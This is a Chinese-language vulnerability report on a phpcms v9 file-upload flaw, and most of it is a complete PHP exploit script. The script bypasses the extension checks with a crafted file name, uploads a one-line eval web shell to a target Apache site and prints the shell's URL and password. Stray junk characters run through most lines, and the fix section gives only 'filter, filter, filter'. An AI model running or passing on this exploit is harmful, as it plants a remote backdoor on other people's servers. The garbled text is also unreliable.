漏洞类型: 文件上传导致任意代码执行- {% P5 x y* h7 ~. H& c; D" X; h* _
( {* l5 } d4 H( G
简要描述:
' a! l2 f5 p w1 @$ u. f4 E0 B' c8 R% X! N' L
phpcms v9 getshell (apache)/ i( j# ~$ Q2 j" \5 ^1 T4 J
详细说明:
/ Z: p! C9 f1 I# S. l! I& d, l: ^ G5 h t5 K' l! m
漏洞文件:phpcms\modules\attachment\attachments.php
7 u J" o6 n$ z8 l8 G
/ D' T6 O" u ?! _* M' x' u+ dpublic function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } ! k( d5 r, Q4 c5 m1 N4 k( C- ]" ^
后缀检测:phpcms\modules\attachment\functions\global.func.php( k( k# Y+ m: Q3 {
* R8 r% P9 v/ i9 w- K( P/ M
4 l3 x! ^1 ` P V8 r5 C" I% w( u* y7 T* X0 m/ J
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } ! t7 \/ \$ x8 }6 {2 i( }
4 n" ^, H# G' V8 }: [" h# C
关键函数:
4 X& \, O7 t0 c% _6 B6 M- P! S- Z9 M
) G3 ?+ h7 m( ~* L! T+ F9 p8 ?
, _" R/ u( ^! O4 l- S
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
7 Q* W6 C( r, U( G; ], I2 d! @+ e$ c
9 c, [9 q1 p8 Y) e6 `' E5 A. e" Q Fileext函数是对文件后缀名的提取。
7 {" t* J& l6 J根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
3 C) r% E: J- h1 z" z3 F& q, a经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
* d$ `; |+ C! }, B% U" ~我们回到public function crop_upload() 函数中2 ]% G& Q, X5 t7 `
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();& _$ ?# |) F! Y- V" Z
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
; a! D/ r% c' F: |+ m这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。* m7 @; L8 t( [ R8 L1 Q# a& ~0 m- S
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。7 P1 x) ~; {* T9 Y
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。% Z H+ W; C; n
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
2 I6 C2 K" \" D' U漏洞证明:
" i9 D1 q" G+ v( W' H S4 X k- H$ l2 T: {6 D
exp:" O1 g% S* w0 p# c6 H9 t- o
% P: r' W5 j% d8 g, q9 h8 a% `<?php8 d c" U. O, F' l
error_reporting(E_ERROR);
" ?) L3 a; u# Eset_time_limit(0);5 I; g3 d. z% |. w4 s% C
$pass="ln";
v8 h3 W& z# u# W jprint_r('4 Q2 }$ Y3 @7 c6 J; q
+---------------------------------------------------------------------------+3 ?, t5 U9 Z& ~$ f# J
PHPCms V9 GETSHELL 0DAY " t7 }2 v% i" e7 L+ B- }% v
code by L.N.
% o' k% v: ^$ M. m2 c1 H7 |4 b. x9 q/ i
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net; Q. D: S7 N2 R6 S" a
+---------------------------------------------------------------------------+
6 C" F: s6 y0 y3 _5 \: A');
/ g0 _5 _& |) T, H/ L) aif ($argc < 2) {) h6 K, s+ F) |! A4 v$ F- J
print_r('& t- v7 N" _. F4 A) e0 P6 x" w: M
+---------------------------------------------------------------------------+- D6 ?( c" z, J0 m2 y" z& M
Usage: php '.$argv[0].' url path9 }0 N0 l# o& |( R) z- b) ^
- u: a. p- S: [# S3 s4 Z; SExample:
& m- ]/ o% }5 Z+ q0 S1.php '.$argv[0].' lanu.sinaapp.com3 M& Q0 {$ X. Y) f2 O
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
7 O: J* v3 d' D( w0 I8 v D+---------------------------------------------------------------------------+0 p1 e0 v/ M/ N' V7 ~0 W
');( z: M! H* J% v5 X+ `
exit;
" Z; L2 v& v4 g8 G6 m}( C1 u; n) M( _2 L& |, p
% m$ a$ z; @3 a* B: _2 Z K: s
$url = $argv[1];2 U3 w3 @. e- {( w
$path = $argv[2];
$ K2 T/ P2 O9 |4 m* {& i$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
5 B: b+ @" A8 r3 Q% x$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';+ o, O& H# [) x) N# B
if($ret=Create_dir($url,$path))7 x& ]$ Q0 x8 N- U4 W# z+ g
{
/ C! T( Y2 Y6 F. f7 v& Q1 I2 Q//echo $ret;# i# x- E0 d- p5 S* k. p
$pattern = "|Server:[^,]+?|U";
, A |- y0 V; O i. a3 @$ opreg_match_all($pattern, $ret, $matches);5 `1 Z9 n( x1 `2 G' N5 r1 {$ b
if($matches[0][0])3 h8 T/ w% X3 s4 L8 i# j3 {4 G
{
?6 ~3 D9 |- f$ h9 m1 p) U0 N. j+ dif(strpos($matches[0][0],'Apache') == false)
; `5 r+ R0 Y( t5 i ?! G5 T{
% ]5 \! |, r( C+ S& d/ Qecho "\n亲!此网站不是apache的网站。\n";exit;" B0 m; y. N2 j+ d: F a$ e8 H
}
$ x ~% }* e8 \( E: K7 I W}
% W$ t$ t9 w* r$ t2 a" F+ S$ l8 m$ret = GetShell($url,$phpshell,$path,$file);) v2 K6 F1 W$ M$ U6 f p
$pattern = "|http:\/\/[^,]+?\.,?|U";
# P2 r9 K7 m3 z, l* E# }* T* \preg_match_all($pattern, $ret, $matches);
& B8 ~6 O: c8 R5 J1 u9 ] b* sif($matches[0][0])9 D% Z. ^: f8 H6 N$ T
{
3 P& h8 a* K cecho "\n".'密码为: '.$pass."\n";- e; y- n) ~: o# \1 G# g9 k
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
% Q7 H: s9 m' M& g2 F}3 ?* E+ w; }" u
else& p, L' z _ z4 Y
{8 @% U! l& d* _) v* B, b
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
# |7 ^9 ]( q- l; \preg_match_all($pattern, $ret, $matches);
/ t6 A! U+ A6 ?, d7 dif($matches[0][0])
/ L, R6 e# ]: t{) ], M* k. }, u* T, ]- y+ \: b
echo "\n".'密码为: '.$pass."\n";
( Z( [& V5 R- lecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
1 C! ~+ g2 q' Z}0 G# Q W+ S/ ]# \0 s5 o
else
6 O6 {- o* }: B{
5 y9 h2 ~! W2 E7 Z/ x$ d# o% yecho "\r\n没得到!\n";exit;
1 N8 c2 G% ]$ P J7 G# X" v" R' i}; ?9 m: @6 W5 P
}
! S& u" ]: i# G5 h3 c}/ H0 h' L! S4 {+ P8 i
: U7 r3 J; E6 ? K) [0 v- Lfunction GetShell($url,$shell,$path,$js)
- `6 F7 x9 i5 y; F: y' }3 s{# n: Z% F: T/ _9 f. x
$content =$shell;; t7 `! f; H- g
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
6 @- u$ }' e( f6 T& r: Q8 W- ]$data .= "Host: ".$url."\r\n";
9 K; a# @# H+ M* n$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";% D- q( K% i2 E5 ]3 l, ~
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
6 u0 h/ f! f2 _6 P/ n$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
; \$ z, x" U: z! f G$data .= "Connection: close\r\n";0 X1 H1 W/ t2 z8 P
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";! g: q, |6 f# Y$ H9 S; [) m+ L; c: |
$data .= $content."\r\n";: {+ ]; ?0 M8 K1 X# s2 C
$ock=fsockopen($url,80);0 m2 F, [+ b3 f) h) p; s) S/ y
if (!$ock)
; T5 |. u1 H2 J{$ M7 N3 u% P. V/ j! t) ]
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
3 f/ D# `. o/ a}
: |" M" L& y2 Lelse' U( I2 W C9 `1 n
{
1 b& f, B$ ]5 r2 @3 {fwrite($ock,$data);
1 l. v! ~3 N! P6 f: @8 T$resp = '';
0 U1 k1 x; E/ Q4 Z8 U9 H/ Fwhile (!feof($ock))
) ^2 C+ i1 J, o0 v5 ]2 e& c @{
, _& ^+ n# {. [. n; I+ i3 b$resp.=fread($ock, 1024);. u, u Z0 M# `& J2 t
}7 S+ R# X, u- A3 z' e* ^
return $resp;
5 ~0 k: W% v+ ~5 Z" [5 M, D0 \}2 o# C/ V3 b2 k, g1 b+ s
}
: a4 |6 ^7 T6 A+ [4 [. w3 L" d9 {6 N3 o1 {9 s8 A
function Create_dir($url,$path='')) n0 _3 s$ f. X p, \' V) A
{
! a7 W+ {* u" Z9 j$content ='I love you';1 T6 B r' @9 \! ]- |8 {
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
, x0 d; l+ \1 o% b, N$data .= "Host: ".$url."\r\n";, @' P: ?/ l2 ^1 ]) f( h
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$ D" [) F# u2 w% O: y3 c$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";" L% ~" I8 e2 d4 L0 b# q
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";/ w6 v( J" c+ P% p
$data .= "Connection: close\r\n";
# p+ u+ j$ `+ B0 n# F2 [5 V X$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
) v: ~+ a g W0 c9 @ d2 L3 |$data .= $content."\r\n";; p7 F+ }& B3 z# w. l4 b
$ock=fsockopen($url,80);
& w1 D" k% Z! ?5 U ~5 Zif (!$ock)
& C" J5 V! T2 d: C{
7 V& H) ~# w4 r8 o0 uecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;( l& n2 Y1 e9 J% x
}2 C$ r8 T; c: b, J" _& _8 a' e
fwrite($ock,$data);
; r0 { ^ X+ _1 P$resp = '';
, H I7 n) }* v2 C0 H' Bwhile (!feof($ock))9 U x$ ]$ d( m3 F1 y0 S+ Y
{4 v/ ]4 E' T8 z9 D0 ], T) m
$resp.=fread($ock, 1024);0 m$ \" t# Z. Z1 j' X. w
}
. M% ]3 p+ x8 y$ g6 ?/ v M8 n ^( Lreturn $resp;& `; Y$ b# m5 Y) K! M- ^6 z
}. R8 }/ r' e J! N) j
?> . i7 x# z( b% G# Y" P' i! l
% c1 H3 z) O8 n/ S" m
修复方案:, n' Z4 c+ e4 \" N$ P
7 f* p4 r# [) S过滤过滤再过滤; g' n: N! a. p3 j c
! x, @" g- ^" H0 l" L+ M
|